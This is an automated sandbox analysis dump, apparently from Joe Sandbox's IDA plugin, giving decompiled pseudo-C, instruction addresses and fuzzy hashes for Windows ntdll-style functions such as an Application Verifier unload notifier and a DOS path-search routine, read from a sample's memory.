				intOrPtr* _t17;
				intOrPtr* _t22;
				intOrPtr* _t23;

				_t9 =  *[fs:0x30];
				_t23 = __ecx;
				if(( *(_t9 + 0x68) & 0x00000100) == 0 ||  *0x34d79231 == 0) {
					return _t9;
				} else {
					E34C8FED0(0x34d75220);
					if(E34D09174( *((intOrPtr*)(_t23 + 0x18))) == 0) {
						_t20 = _t23;
						if(E34D08E06(_t23) < 0) {
							L9:
							_push(0x34d75220);
							return E34C8E740(_t20);
						}
						_t22 =  *0x34d75240; // 0x0
						while(_t22 != 0x34d75240) {
							_t17 =  *((intOrPtr*)(_t22 + 0x1c));
							_t22 =  *_t22;
							if(_t17 != 0) {
								_t20 = _t17;
								 *0x34d791e0( *((intOrPtr*)(_t23 + 0x30)),  *((intOrPtr*)(_t23 + 0x18)),  *((intOrPtr*)(_t23 + 0x20)), _t23);
								 *_t17();
							}
						}
						goto L9;
					}
					E34C7B910("AVRF: AVrfDllUnloadNotification called for a provider (%p) \n", _t23);
					_pop(_t20);
					asm("int3");
					goto L9;
				}
			}

0x34d085aa
0x34d085ba
0x34d085bc
0x34d08632
0x34d085c7
0x34d085cc
0x34d085db
0x34d085ed
0x34d085f6
0x34d08625
0x34d08625
0x00000000
0x34d0862a
0x34d085f8
0x34d0861d
0x34d08600
0x34d08603
0x34d08607
0x34d0860d
0x34d08615
0x34d0861b
0x34d0861b
0x34d08607
0x00000000
0x34d0861d
0x34d085e3
0x34d085e9
0x34d085ea
0x00000000
0x34d085ea

Strings

AVRF: AVrfDllUnloadNotification called for a provider (%p) , xrefs: 34D085DE

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: AVRF: AVrfDllUnloadNotification called for a provider (%p)
API String ID: 0-702105204
Opcode ID: 9db01202f9845bf92b56d5197d7a5061f7bc10009334835f1cc388d1d7f29645
Instruction ID: 0044ea57027aecd39f63a150d4da209bfcaecbaa31eb478fc945b59618d8a08b
Opcode Fuzzy Hash: 9db01202f9845bf92b56d5197d7a5061f7bc10009334835f1cc388d1d7f29645
Instruction Fuzzy Hash: 9D012B36300B04DFE7615F10D854A5A7F76FF41294FC5485CF50217452CF209845CEA9

Uniqueness

Uniqueness Score: -1.00%

Function 34C87623 Relevance: 3.2, APIs: 2, Instructions: 179
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E34C87623(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char* _t69;
				intOrPtr _t71;
				intOrPtr _t74;
				intOrPtr _t75;
				signed int _t81;
				signed int _t82;
				signed int _t89;
				signed int _t90;
				void* _t97;
				intOrPtr _t99;
				intOrPtr _t101;
				intOrPtr _t113;
				intOrPtr _t119;
				intOrPtr _t120;
				intOrPtr _t130;
				intOrPtr _t132;
				signed int _t133;
				signed int _t135;
				intOrPtr _t138;
				intOrPtr _t141;
				intOrPtr _t142;
				intOrPtr _t143;
				intOrPtr _t144;
				intOrPtr _t145;
				intOrPtr _t146;
				void* _t160;

				_t145 = __edx;
				_t138 = __ecx;
				_v32 = __edx;
				_v28 = __ecx;
				if(E34C93C40() != 0) {
					_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				} else {
					_t69 = 0x7ffe0386;
				}
				if( *_t69 != 0) {
					E34D54F7C(((0 | _a4 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + _t145, _t138);
				}
				goto L3;
				do {
					do {
						L3:
						_t71 =  *0x34d767f0; // 0x0
						_t130 =  *0x34d767f4; // 0x0
						_v20 = _t71;
						_v8 = _t130;
						_v16 =  *0x7FFE03B4;
						_v12 =  *0x7ffe03b0;
						while(1) {
							_t146 =  *0x7ffe000c;
							_t99 =  *0x7FFE0008;
							if(_t146 ==  *0x7FFE0010) {
								goto L5;
							}
							asm("pause");
						}
						L5:
						_t132 = _v8;
						_t141 = _v16;
						_t74 =  *0x7ffe03b0;
						_t113 =  *((intOrPtr*)(0x7ffe03b4));
						_v24 = _t74;
					} while (_v12 != _t74 || _t141 != _t113);
					_t75 =  *0x34d767f0; // 0x0
					_t142 =  *0x34d767f4; // 0x0
					_v16 = _t142;
					_t143 = _v20;
				} while (_t143 != _t75 || _t132 != _v16);
				asm("sbb esi, ecx");
				_t101 = _t99 - _v24 - _t143;
				_t144 = _v28;
				asm("sbb esi, edx");
				L34C92330(_t144 + 0x90, _t144 + 0x90);
				 *(_t144 + 0xde) = 0;
				if(( *(_t144 + 0xde) & 0x00000004) != 0) {
					 *(_t144 + 0xd8) = 0;
					 *((intOrPtr*)(_t144 + 0xc8)) = 0;
					 *((intOrPtr*)(_t144 + 0xcc)) = 0;
					 *((intOrPtr*)(_t144 + 0xd0)) = 0;
					E34C924D0(_t144 + 0x90);
					_t81 = E34D549D2( *((intOrPtr*)(_t144 + 0xd0)));
					L20:
					_t82 = _t81 | 0xffffffff;
					asm("lock xadd [edi], eax");
					if(_t82 == 0) {
						 *0x34d791e0(_t144);
						return  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t144 + 4))))))();
					}
					return _t82;
				}
				if( *((intOrPtr*)(_t144 + 0xdd)) != 0) {
					 *((intOrPtr*)(_t144 + 0xc8)) = 0;
					 *((intOrPtr*)(_t144 + 0xcc)) = 0;
					if(E34CBCC67() != 0) {
						goto L18;
					}
					goto L19;
				} else {
					_t133 =  *(_t144 + 0xd8);
					if(_t133 != 0) {
						if(_a4 != 0) {
							_t119 = _t101;
							_v8 = _t146;
						} else {
							_t119 =  *((intOrPtr*)(_t144 + 0xc8));
							_v8 =  *((intOrPtr*)(_t144 + 0xcc));
						}
						_t89 = _t133;
						_t135 = _t89 * 0x2710 >> 0x20;
						_t90 = _t89 * 0x2710;
						_t120 = _t119 + _t90;
						_v12 = _t90;
						_t91 = _v8;
						asm("adc eax, edx");
						_v24 = 0x2710;
						_v28 = _t120;
						_v8 = _t91;
						 *((intOrPtr*)(_t144 + 0xc8)) = _t120;
						 *((intOrPtr*)(_t144 + 0xcc)) = _t91;
						_t160 = _t91 - _t146;
						if(_t160 <= 0 && (_t160 < 0 || _t120 <= _t101)) {
							asm("sbb eax, [ebp-0x4]");
							_t97 = E34CC6540(_t101 - _v28, _t146, _v12, _t135);
							_t91 = _v24;
							asm("sbb eax, edx");
							 *((intOrPtr*)(_t144 + 0xc8)) = _v12 - _t97 + _t101;
							asm("adc eax, esi");
							 *((intOrPtr*)(_t144 + 0xcc)) = _v24;
						}
						asm("lock inc dword [edi]");
						_t102 = _v32;
						L34C92330(_t91, _v32);
						E34C879D1(_v32 + 0x50, _t144);
						E34C877F9(_t102 + 0x50, 0);
						E34C924D0(_t102);
					}
					L18:
					L34C91BE7(_t144);
					L19:
					_t81 = E34C924D0(_t144 + 0x90);
					goto L20;
				}
			}

0x34c8762e
0x34c87630
0x34c87632
0x34c87635
0x34c8763f
0x34ce171a
0x34c87645
0x34c87645
0x34c87645
0x34c8764d
0x34ce1737
0x34ce1737
0x00000000
0x34c87653
0x34c87653
0x34c87653
0x34c87653
0x34c8765d
0x34c87663
0x34c87666
0x34c87673
0x34c87676
0x34c8767f
0x34c8767f
0x34c87681
0x34c87687
0x00000000
0x00000000
0x34c877f2
0x34c877f2
0x34c8768d
0x34c8768d
0x34c87695
0x34c87698
0x34c8769a
0x34c8769d
0x34c876a0
0x34c876a9
0x34c876ae
0x34c876b4
0x34c876b7
0x34c876ba
0x34c876c6
0x34c876c8
0x34c876ca
0x34c876cd
0x34c876d6
0x34c876e3
0x34c876eb
0x34ce174e
0x34ce1754
0x34ce175a
0x34ce1760
0x34ce1766
0x34ce176d
0x34c8778a
0x34c8778a
0x34c8778d
0x34c87791
0x34ce177f
0x00000000
0x34ce1785
0x34c8779b
0x34c8779b
0x34c876f7
0x34c877cf
0x34c877d5
0x34c877e4
0x00000000
0x00000000
0x00000000
0x34c876fd
0x34c876fd
0x34c87705
0x34c8770a
0x34c877e8
0x34c877ea
0x34c87710
0x34c87716
0x34c8771c
0x34c8771c
0x34c8771f
0x34c87726
0x34c87726
0x34c87728
0x34c8772a
0x34c8772d
0x34c87730
0x34c87732
0x34c87735
0x34c87738
0x34c8773b
0x34c87741
0x34c87747
0x34c87749
0x34c877a9
0x34c877ae
0x34c877b8
0x34c877bb
0x34c877bf
0x34c877c5
0x34c877c7
0x34c877c7
0x34c87751
0x34c87754
0x34c87758
0x34c87762
0x34c8776c
0x34c87772
0x34c87772
0x34c87777
0x34c87779
0x34c8777e
0x34c87785
0x00000000
0x34c87785

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16884724a10e5ea33e3113db97ecc47a75f2283c38f1ecc1579303d09ebdac40
Instruction ID: ef7880f3ea26bab80af47a10ff6ce7757b451e2c6bc2afa54b50616d116fd5b7
Opcode Fuzzy Hash: 16884724a10e5ea33e3113db97ecc47a75f2283c38f1ecc1579303d09ebdac40
Instruction Fuzzy Hash: DC616375B01616EFEB09DF79C880A9DFBB6BF48344F24816AD419E7310EB34A951CB90

Uniqueness

Uniqueness Score: -1.00%

Function 34C951C0 Relevance: 3.2, Strings: 2, Instructions: 658
COMMONCrypto

Download Yara Rule

C-Code - Quality: 76%

			E34C951C0(signed int _a4, signed short _a8, signed int _a12, signed short _a16, intOrPtr _a20, intOrPtr* _a24, signed short _a28, signed int _a32, signed int* _a36) {
				signed int _v8;
				char _v532;
				void* _v568;
				signed int _v616;
				intOrPtr _v632;
				signed int _v660;
				void* _v664;
				intOrPtr _v668;
				intOrPtr _v672;
				signed int _v676;
				void* _v680;
				signed int _v692;
				signed int _v696;
				signed short _v700;
				signed int _v704;
				intOrPtr _v708;
				signed int _v712;
				signed short _v716;
				signed int _v720;
				signed int _v724;
				intOrPtr _v728;
				signed int _v732;
				signed int* _v736;
				signed int _v740;
				signed short _v744;
				void* _v748;
				signed int _v752;
				signed short _v756;
				signed short _v760;
				signed int _v764;
				void* _v768;
				void* _v772;
				void* _v776;
				void* _v780;
				void* _v782;
				void* _v784;
				void* _v788;
				void* _v792;
				void* _v796;
				void* _v798;
				void* _v800;
				void* _v802;
				void* _v804;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t223;
				signed short _t224;
				signed short* _t226;
				signed short _t229;
				unsigned int _t233;
				signed int _t237;
				signed int _t240;
				signed short _t244;
				signed short _t250;
				signed short _t255;
				signed short _t257;
				signed short _t261;
				signed short _t270;
				signed int _t271;
				signed short _t272;
				signed int _t273;
				unsigned int _t274;
				signed short* _t276;
				signed int _t280;
				unsigned int _t281;
				signed int _t299;
				intOrPtr _t301;
				void* _t305;
				signed short* _t313;
				signed int _t315;
				intOrPtr _t317;
				intOrPtr _t322;
				signed int _t330;
				intOrPtr* _t332;
				void* _t333;
				intOrPtr _t336;
				signed int _t337;
				intOrPtr _t338;
				signed short* _t339;
				signed short _t340;
				signed int _t343;
				signed short _t344;
				signed short _t346;
				short* _t347;
				signed int _t360;
				signed int _t361;
				signed int _t362;
				signed int _t367;
				signed short _t369;
				signed int _t370;
				signed int _t372;
				signed short _t376;
				signed short _t377;
				signed int _t386;
				signed int _t396;
				signed short* _t398;
				signed int _t400;
				signed int _t401;
				signed int _t402;
				signed int _t403;
				signed int _t408;
				signed int _t410;
				void* _t411;
				signed int _t412;
				intOrPtr _t413;
				signed short _t418;
				void* _t420;
				signed short _t421;
				signed short _t422;
				short* _t423;
				intOrPtr _t424;
				void* _t425;
				void* _t426;
				signed int _t427;
				signed int _t429;

				_t429 = (_t427 & 0xfffffff8) - 0x2fc;
				_v8 =  *0x34d7b370 ^ _t429;
				_t340 = _a8;
				_t389 = _a32;
				_t332 = _a24;
				_v756 = _a16;
				_v728 = _a20;
				_t223 = _a28;
				_v736 = _a36;
				_v744 = _t340;
				_v748 = _t332;
				_v716 = _t223;
				_v720 = _t389;
				_v740 = 0;
				_v732 = 0;
				_v764 = 0x2080000;
				_v760 =  &_v532;
				_t410 = _a12;
				_v712 = _t410;
				if(_t223 != 0) {
					 *_t223 = 0;
				}
				_t418 = _v756;
				if(_v736 != 0) {
					 *_v736 = 0;
					_t418 = _v756;
				}
				if(_t389 != 0) {
					 *_t389 = 0;
				}
				if(_t332 != 0) {
					_t389 = 0;
					 *_t332 = 0;
					 *((intOrPtr*)(_t332 + 4)) = 0;
				}
				if((_a4 & 0xfffffff8) != 0 || _t340 == 0 || _t410 == 0 || _v728 != 0 && _t332 != 0 && _t223 == 0) {
					_t224 = 0xc000000d;
					goto L48;
				} else {
					_t343 =  *_t410 & 0x0000ffff;
					_t226 =  *(_t410 + 4);
					if(_t343 < 2) {
						L15:
						if(_t343 < 4 ||  *_t226 == 0 || _t226[1] != 0x3a) {
							_t389 = 5;
						} else {
							if(_t343 < 6) {
								L127:
								_t389 = 3;
								L21:
								_v724 = _t389;
								if((_a4 & 0x00000002) == 0) {
									__eflags = _t389 - 5;
									if(_t389 == 5) {
										L53:
										__eflags = _a4 & 0x00000001;
										if((_a4 & 0x00000001) != 0) {
											_v696 = 0;
											_t421 = E34C99870(1, _t410, _t418, _v728, _t332,  &_v696, 0, _v720, _v736);
											__eflags = _t421;
											if(_t421 >= 0) {
												_t344 = _v716;
												__eflags = _t344;
												if(_t344 != 0) {
													 *_t344 = _v696;
												}
												L50:
												_t421 = 0;
												L45:
												_t229 = _v760;
												if(_t229 != 0 && _t229 !=  &_v532) {
													L34C93B90( &_v764);
												}
												_t224 = _t421;
												L48:
												_pop(_t411);
												_pop(_t420);
												_pop(_t333);
												return L34CC4B50(_t224, _t333, _v8 ^ _t429, _t389, _t411, _t420);
											}
											__eflags = _t421 - 0xc0150008;
											if(_t421 != 0xc0150008) {
												goto L45;
											}
											_t418 = _v756;
										}
										__eflags = _t418;
										if(_t418 == 0) {
											L64:
											_t346 = _v744;
											_t233 =  *_t346 & 0x0000ffff;
											_t422 = _t233;
											_v704 = _t422;
											__eflags = _t233;
											if(_t233 == 0) {
												L77:
												_t389 = _v732 & 0x0000ffff;
												_v752 = _t389;
												_t237 = ( *_t410 & 0x0000ffff) + _t389 + _v740 + 2;
												_t336 = _v748;
												_v704 = _t237;
												__eflags = _t237 - 0xfffe;
												if(_t237 > 0xfffe) {
													_t421 = 0xc0000106;
													goto L45;
												}
												_t347 =  *((intOrPtr*)(_t346 + 4));
												_v748 = _t347;
												_t240 = _t347 + ((_t422 & 0x0000ffff) >> 1) * 2;
												_v712 = _t240;
												__eflags = _t347 - _t240;
												if(_t347 >= _t240) {
													L44:
													_t421 = 0xc000000f;
													goto L45;
												} else {
													goto L79;
												}
												while(1) {
													L79:
													_t423 = _t347;
													__eflags = _t347 - _t240;
													if(_t347 == _t240) {
														goto L82;
													} else {
														goto L80;
													}
													while(1) {
														L80:
														__eflags =  *_t423 - 0x3b;
														if( *_t423 == 0x3b) {
															goto L82;
														}
														_t423 = _t423 + 2;
														__eflags = _t423 - _t240;
														if(_t423 != _t240) {
															continue;
														}
														goto L82;
													}
													L82:
													_t244 = _t423 - _t347 & 0xfffe;
													_v744 = _t244;
													_v732 = _t244 & 0x0000ffff;
													__eflags = _t244;
													if(_t244 != 0) {
														_t360 =  *(_t423 - 2) & 0x0000ffff;
														__eflags = _t360 - 0x5c;
														if(_t360 != 0x5c) {
															__eflags = _t360 - 0x2f;
															if(_t360 != 0x2f) {
																_t244 = _t244 + 2;
																__eflags = _t244;
																_v744 = _t244;
															}
														}
													}
													_t389 = _t389 + ( *_t410 & 0x0000ffff) + (_t244 & 0x0000ffff);
													__eflags = ( *(_t429 + 0x12) & 0x0000ffff) - _t389 + 2;
													if(( *(_t429 + 0x12) & 0x0000ffff) < _t389 + 2) {
														__eflags = _v760 -  &_v532;
														if(_v760 !=  &_v532) {
															goto L163;
														}
														__eflags = _t389 - 0xfffc;
														if(_t389 > 0xfffc) {
															goto L163;
														}
														 *((short*)(_t429 + 0x16)) = _v704 & 0x0000ffff;
														_t250 = E34C95D60(_v704 & 0x0000ffff);
														_v764 = _t250;
														__eflags = _t250;
														if(_t250 == 0) {
															L149:
															_t224 = 0xc0000017;
															goto L48;
														}
														goto L87;
													} else {
														L87:
														_v764 = 0;
														E34CADCDF( &_v764, _v748, _v732 & 0x0000ffff);
														_t255 = _v748;
														__eflags = _t255;
														if(_t255 != 0) {
															__eflags = _v732 - _t255;
															if(_v732 != _t255) {
																 *((short*)(_v760 + ((_v764 & 0x0000ffff) >> 1) * 2)) = 0x5c;
																_t144 =  &_v764;
																 *_t144 = _v764 + 2;
																__eflags =  *_t144;
															}
														}
														E34CADD46( &_v764, _t410);
														_t257 = _v756;
														__eflags = _t257;
														if(_t257 != 0) {
															E34CADD46( &_v764, _t257);
														}
														_t389 = _v764 & 0x0000ffff;
														__eflags = _t389 + 2 - ( *(_t429 + 0x12) & 0x0000ffff);
														if(__eflags > 0) {
															L163:
															_t421 = 0xc00000e5;
															goto L45;
														} else {
															 *((short*)(_v760 + (_t389 >> 1) * 2)) = 0;
															_t389 = 0;
															_t261 = L34CB31BE( &_v764, 0, __eflags);
															__eflags = _t261;
															if(_t261 != 0) {
																_push(_v736);
																_push( &_v724);
																_push(0);
																_push(_v720);
																_push(_v716);
																_push(_t336);
																L106:
																_push(_v728);
																_push( &_v764);
																_t421 = E34C99690();
																__eflags = _t421;
																if(_t421 >= 0) {
																	_t421 = 0;
																}
																goto L45;
															}
															_t240 = _v712;
															__eflags = _t423 - _t240;
															if(_t423 == _t240) {
																_t347 = _t423;
																_v748 = _t423;
															} else {
																_t156 = _t423 + 2; // 0x3a
																_t347 = _t156;
																_v748 = _t347;
															}
															__eflags = _t347 - _t240;
															if(_t347 >= _t240) {
																goto L44;
															} else {
																_t389 = _v752;
																continue;
															}
														}
													}
												}
											}
											_t424 =  *((intOrPtr*)(_t346 + 4));
											_t361 = _t424 + (_t233 >> 1) * 2;
											_t396 = _t361;
											__eflags = _t396 - _t424;
											if(_t396 <= _t424) {
												L70:
												_t270 = _t361 - _t396 >> 0x00000001 & 0x0000ffff;
												__eflags = _t270;
												if(_t270 != 0) {
													_t362 =  *(_t361 - 2) & 0x0000ffff;
													__eflags = _t362 - 0x5c;
													if(_t362 != 0x5c) {
														__eflags = _t362 - 0x2f;
														if(_t362 != 0x2f) {
															_t270 = _t270 + 1;
															__eflags = _t270;
														}
													}
												}
												_t271 = _t270 & 0x0000ffff;
												__eflags = _t271 - _v740;
												if(_t271 <= _v740) {
													_t271 = _v740;
												}
												_t346 = _v744;
												_t272 = _t271 + _t271;
												__eflags = _t272;
												_t422 = _v704;
												_v740 = _t272;
												goto L77;
											} else {
												_t273 = _t396 - 2;
												_t412 = _t361;
												goto L67;
												L67:
												__eflags =  *_t273 - 0x3b;
												if( *_t273 == 0x3b) {
													_t367 = _t412 - _t396 + 0x00000002 >> 0x00000001 & 0x0000ffff;
													_v752 = _t367;
													_t369 = _t367 - 0x00000001 & 0x0000ffff;
													__eflags = _t369;
													if(_t369 != 0) {
														_t337 =  *(_t412 - 2) & 0x0000ffff;
														__eflags = _t337 - 0x5c;
														if(_t337 != 0x5c) {
															__eflags = _t337 - 0x2f;
															if(_t337 != 0x2f) {
																_t369 = _v752 & 0x0000ffff;
															}
														}
													}
													_t370 = _t369 & 0x0000ffff;
													__eflags = _t370 - _v740;
													if(_t370 > _v740) {
														_v740 = _t370;
													}
													_t412 = _t273;
												}
												_t396 = _t396 - 2;
												_t273 = _t273 - 2;
												__eflags = _t396 - _t424;
												if(_t396 > _t424) {
													goto L67;
												} else {
													_v752 = _t412;
													_t410 = _v712;
													_t361 = _v752;
													goto L70;
												}
											}
										}
										_t274 =  *_t410 & 0x0000ffff;
										_v732 =  *_t418 & 0x0000ffff;
										__eflags = _t274;
										if(_t274 == 0) {
											goto L64;
										}
										_t398 =  *(_t410 + 4);
										_t276 =  &(_t398[_t274 >> 1]);
										__eflags = _t276 - _t398;
										if(_t276 > _t398) {
											while(1) {
												_t372 =  *(_t276 - 2) & 0x0000ffff;
												_t276 = _t276 - 2;
												__eflags = _t372 - 0x2e;
												if(_t372 == 0x2e) {
													_v756 = 0;
													_v732 = 0;
													goto L64;
												}
												__eflags = _t372 - 0x5c;
												if(_t372 == 0x5c) {
													goto L64;
												}
												__eflags = _t372 - 0x2f;
												if(_t372 == 0x2f) {
													goto L64;
												}
												__eflags = _t276 - _t398;
												if(_t276 > _t398) {
													continue;
												} else {
													goto L64;
												}
											}
										}
										goto L64;
									}
									L23:
									_t389 = _t410;
									if(L34C958B0(2, _t410, 0,  &_v704, 0, 0,  &_v692) < 0) {
										L31:
										if(_t418 == 0) {
											goto L44;
										}
										_t280 =  *_t418 & 0x0000ffff;
										if(_t280 == 0) {
											goto L44;
										}
										_t389 = _t280;
										if((_a4 & 0x00000004) == 0) {
											_t281 =  *_t410 & 0x0000ffff;
											__eflags = _t281;
											if(_t281 == 0) {
												goto L34;
											}
											_t339 =  *(_t410 + 4);
											_t313 =  &(_t339[_t281 >> 1]);
											__eflags = _t313 - _t339;
											if(_t313 <= _t339) {
												goto L34;
											} else {
												goto L142;
											}
											while(1) {
												L142:
												_t386 =  *(_t313 - 2) & 0x0000ffff;
												_t313 = _t313 - 2;
												__eflags = _t386 - 0x5c;
												if(_t386 == 0x5c) {
													goto L34;
												}
												__eflags = _t386 - 0x2f;
												if(_t386 == 0x2f) {
													goto L34;
												}
												__eflags = _t386 - 0x2e;
												if(_t386 == 0x2e) {
													goto L44;
												}
												__eflags = _t313 - _t339;
												if(_t313 > _t339) {
													continue;
												}
												goto L34;
											}
										}
										L34:
										_t376 = ( *_t410 & 0x0000ffff) + 2 + _t389;
										if(_t376 > 0xfffe) {
											_t421 = 0xc0000106;
											goto L45;
										}
										if(_t376 > ( *(_t429 + 0x12) & 0x0000ffff)) {
											 *((short*)(_t429 + 0x16)) = _t376 & 0x0000ffff;
											_t377 = E34C95D60(_t376 & 0x0000ffff);
											_v764 = _t377;
											__eflags = _t377;
											if(_t377 != 0) {
												goto L37;
											}
											goto L149;
										} else {
											_t377 = _v760;
											L37:
											E34CC88C0(_t377,  *(_t410 + 4),  *_t410 & 0x0000ffff);
											E34CC88C0(_v760 + (( *_t410 & 0x0000ffff) >> 1) * 2,  *((intOrPtr*)(_t418 + 4)),  *_t418 & 0x0000ffff);
											_t429 = _t429 + 0x18;
											 *((short*)(_v760 + (( *_t418 & 0x0000ffff) + ( *_t410 & 0x0000ffff) >> 1) * 2)) = 0;
											_v764 =  *_t418 +  *_t410;
											_t389 =  &_v764;
											if(L34C958B0(2,  &_v764, 0,  &_v712, 0, 0,  &_v676) < 0) {
												goto L44;
											}
											_t299 = _v676;
											_t413 = _v708;
											if(_t299 != 0) {
												_v712 = _t299;
												_v708 = _v672;
												_t301 = _v668;
											} else {
												_t301 = 0;
											}
											_v632 = _t301;
											 *((intOrPtr*)(_t429 + 0x98)) =  &_v712;
											_push(_t429 + 0xd0);
											 *(_t429 + 0x94) = 0x18;
											_push(_t429 + 0x94);
											 *((intOrPtr*)(_t429 + 0xa4)) = 0x40;
											 *(_t429 + 0xa8) = 0;
											_v616 = 0;
											_t305 = E34CC2D80();
											_t338 = _v672;
											_t425 = _t305;
											if(_t338 != 0) {
												__eflags = 0xffffffffffffffff;
												asm("lock xadd [ebx], ecx");
												if(0xffffffffffffffff == 0) {
													_push( *((intOrPtr*)(_t338 + 4)));
													E34CC2A80();
													L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t338);
												}
											}
											L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t413);
											if(_t425 >= 0 || _t425 == 0xc0000043 || _t425 == 0xc0000022) {
												_push(_v736);
												_push( &_v724);
												_push(0);
												_push(_v720);
												_push(_v716);
												_push(_v748);
												goto L106;
											} else {
												goto L44;
											}
										}
									}
									_v744 = _v700;
									_t315 = _v692;
									if(_t315 != 0) {
										_v704 = _t315;
										_v700 =  *(_t429 + 0x5c);
										_t317 =  *((intOrPtr*)(_t429 + 0x60));
									} else {
										_t317 = 0;
									}
									 *((intOrPtr*)(_t429 + 0x7c)) = _t317;
									 *((intOrPtr*)(_t429 + 0x80)) =  &_v704;
									_push(_t429 + 0xa8);
									_v660 = 0x18;
									_push( &_v660);
									 *((intOrPtr*)(_t429 + 0x8c)) = 0x40;
									 *(_t429 + 0x90) = 0;
									 *(_t429 + 0x94) = 0;
									_t426 = E34CC2D80();
									_t322 =  *((intOrPtr*)(_t429 + 0x64));
									if(_t322 != 0) {
										__eflags = 0xffffffffffffffff;
										asm("lock xadd [eax], ecx");
										if(0xffffffffffffffff == 0) {
											_push( *((intOrPtr*)(_t322 + 4)));
											E34CC2A80();
											L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *((intOrPtr*)(_t429 + 0x64)));
										}
									}
									L34C93BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v744);
									if(_t426 >= 0 || _t426 == 0xc0000043 || _t426 == 0xc0000022) {
										_t421 = E34C99690(_t410, _v728, _t332, _v716, _v720, 0,  &_v724, _v736);
										__eflags = _t421;
										if(_t421 < 0) {
											goto L45;
										}
										goto L50;
									} else {
										_t418 = _v756;
										goto L31;
									}
								}
								if(_t389 == 5) {
									__eflags = _t343 - 4;
									if(_t343 < 4) {
										goto L53;
									}
									__eflags =  *_t226 - 0x2e;
									if( *_t226 == 0x2e) {
										_t389 = _t226[1] & 0x0000ffff;
										__eflags = _t389 - 0x5c;
										if(_t389 == 0x5c) {
											L134:
											_v724 = 0;
											goto L23;
										}
										__eflags = _t389 - 0x2f;
										if(_t389 == 0x2f) {
											goto L134;
										}
										__eflags = _t389 - 0x2e;
										if(_t389 != 0x2e) {
											goto L53;
										}
										__eflags = _t343 - 6;
										if(_t343 < 6) {
											goto L53;
										}
										_t330 = _t226[2] & 0x0000ffff;
										__eflags = _t330 - 0x5c;
										if(_t330 == 0x5c) {
											goto L134;
										}
										__eflags = _t330 - 0x2f;
										if(_t330 != 0x2f) {
											goto L53;
										}
										goto L134;
									}
									goto L53;
								}
								goto L23;
							}
							_t400 = _t226[2] & 0x0000ffff;
							if(_t400 != 0x5c) {
								__eflags = _t400 - 0x2f;
								if(_t400 == 0x2f) {
									goto L20;
								}
								goto L127;
							}
							L20:
							_t389 = 2;
						}
						goto L21;
					}
					_t401 =  *_t226 & 0x0000ffff;
					if(_t401 == 0x5c || _t401 == 0x2f) {
						__eflags = _t343 - 4;
						if(_t343 < 4) {
							L125:
							_t389 = 4;
							goto L21;
						}
						_t402 = _t226[1] & 0x0000ffff;
						__eflags = _t402 - 0x5c;
						if(_t402 == 0x5c) {
							L116:
							__eflags = _t343 - 6;
							if(_t343 < 6) {
								L124:
								_t389 = 1;
								goto L21;
							}
							_t403 = _t226[2] & 0x0000ffff;
							__eflags = _t403 - 0x2e;
							if(_t403 == 0x2e) {
								L119:
								__eflags = _t343 - 8;
								if(_t343 < 8) {
									L123:
									__eflags = _t343 - 6;
									_t389 = ((0 | _t343 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
									goto L21;
								}
								_t408 = _t226[3] & 0x0000ffff;
								__eflags = _t408 - 0x5c;
								if(_t408 == 0x5c) {
									L122:
									_t389 = 6;
									goto L21;
								}
								__eflags = _t408 - 0x2f;
								if(_t408 != 0x2f) {
									goto L123;
								}
								goto L122;
							}
							__eflags = _t403 - 0x3f;
							if(_t403 != 0x3f) {
								goto L124;
							}
							goto L119;
						}
						__eflags = _t402 - 0x2f;
						if(_t402 != 0x2f) {
							goto L125;
						}
						goto L116;
					} else {
						goto L15;
					}
				}
			}

0x34c951c8
0x34c951d5
0x34c951e2
0x34c951e5
0x34c951e8
0x34c951ee
0x34c951f5
0x34c951f9
0x34c951fc
0x34c95207
0x34c9520b
0x34c9520f
0x34c95213
0x34c95217
0x34c9521f
0x34c95227
0x34c9522f
0x34c95233
0x34c95236
0x34c9523c
0x34c9523e
0x34c9523e
0x34c95249
0x34c9524d
0x34c95843
0x34c95849
0x34c95849
0x34c95255
0x34c95852
0x34c95852
0x34c9525d
0x34c9525f
0x34c95261
0x34c95263
0x34c95263
0x34c9526d
0x34ce6c97
0x00000000
0x34c95296
0x34c95296
0x34c95299
0x34c9529f
0x34c952b6
0x34c952b9
0x34c95801
0x34c952d4
0x34c952d7
0x34ce6a9c
0x34ce6a9c
0x34c952ef
0x34c952f3
0x34c952f7
0x34ce6ae5
0x34ce6ae8
0x34c95595
0x34c95595
0x34c95599
0x34c95865
0x34c95882
0x34c95884
0x34c95886
0x34ce6c0a
0x34ce6c0e
0x34ce6c10
0x34ce6c1a
0x34ce6c1a
0x34c95582
0x34c95582
0x34c9552d
0x34c9552d
0x34c95533
0x34ce6c8d
0x34ce6c8d
0x34c95544
0x34c95546
0x34c9554d
0x34c9554e
0x34c9554f
0x34c9555a
0x34c9555a
0x34c9588c
0x34c95892
